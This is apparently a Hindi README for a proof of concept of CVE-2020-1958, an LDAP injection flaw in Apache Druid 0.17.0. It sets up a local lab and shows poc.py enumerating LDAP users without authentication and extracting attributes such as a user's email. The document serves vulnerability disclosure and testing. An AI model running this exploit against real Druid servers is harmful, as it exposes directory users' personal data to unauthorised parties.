
CVE-2020-1958 PoC
CVE-2020-1958 Apache Druid 0.17.0 में उच्च गंभीरता वाली LDAP इंजेक्शन भेद्यता है। यह हमलावर को LDAP खोज फ़िल्टर को बायपास करने और LDAP सर्वर पर मौजूद उपयोगकर्ताओं के किसी भी LDAP एट्रिब्यूट मान को प्राप्त करने की अनुमति देता है।
आधिकारिक Apache Druid एडवाइज़री से:
जब LDAP प्रमाणीकरण सक्षम हो:
- मान्य LDAP क्रेडेंशियल्स वाले Druid APIs के कॉलर
credentialsValidator.userSearchफ़िल्टर बाधा को बायपास कर सकते हैं, जो यह निर्धारित करता है कि कोई मान्य LDAP उपयोगकर्ता Druid के साथ प्रमाणित कर सकता है या नहीं। वे अभी भी भूमिका-आधारित प्राधिकरण जाँचों के अधीन हैं, यदि कॉन्फ़िगर किया गया हो।- Druid APIs के कॉलर LDAP सर्वर पर मौजूद उपयोगकर्ताओं के किसी भी LDAP एट्रिब्यूट मान को प्राप्त कर सकते हैं, जब तक कि वह जानकारी Druid सर्वर को दिखाई देती है। इस जानकारी के प्रकटीकरण के लिए कॉलर का स्वयं मान्य LDAP उपयोगकर्ता होना आवश्यक नहीं है।
poc.py स्क्रिप्ट दर्शाती है कि कैसे एक अनधिकृत हमलावर Druid के साथ एकीकृत LDAP सर्वर पर उपयोगकर्ताओं की गणना कर सकता है और किसी भी उपयोगकर्ता के किसी भी एट्रिब्यूट का मान प्राप्त कर सकता है।
यदि आपके पास पहले से ही LDAP प्रमाणीकरण सक्षम वाला Druid सर्वर है, तो इस चरण को छोड़ दें।
Druid 0.17.0 डाउनलोड करें और इसे निकालें
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
conf/druid/single-server/nano-quickstart/_common/common.runtime.properties में LDAP प्रमाणीकरण सक्षम और कॉन्फ़िगर करें
druid-basic-security एक्सटेंशन सक्षम करें
druid.extensions.loadList ढूंढें और druid-basic-security जोड़ें:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
LDAP प्रमाणीकरण कॉन्फ़िगर करें
फ़ाइल के अंत में निम्नलिखित जोड़ें:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
OpenLDAP सर्वर चलाएँ
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif से उपयोगकर्ताओं को LDAP में आयात करें
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Druid सर्वर चलाएँ
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 उपयोगकर्ता के LDAP एट्रिब्यूट मान प्राप्त करें$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last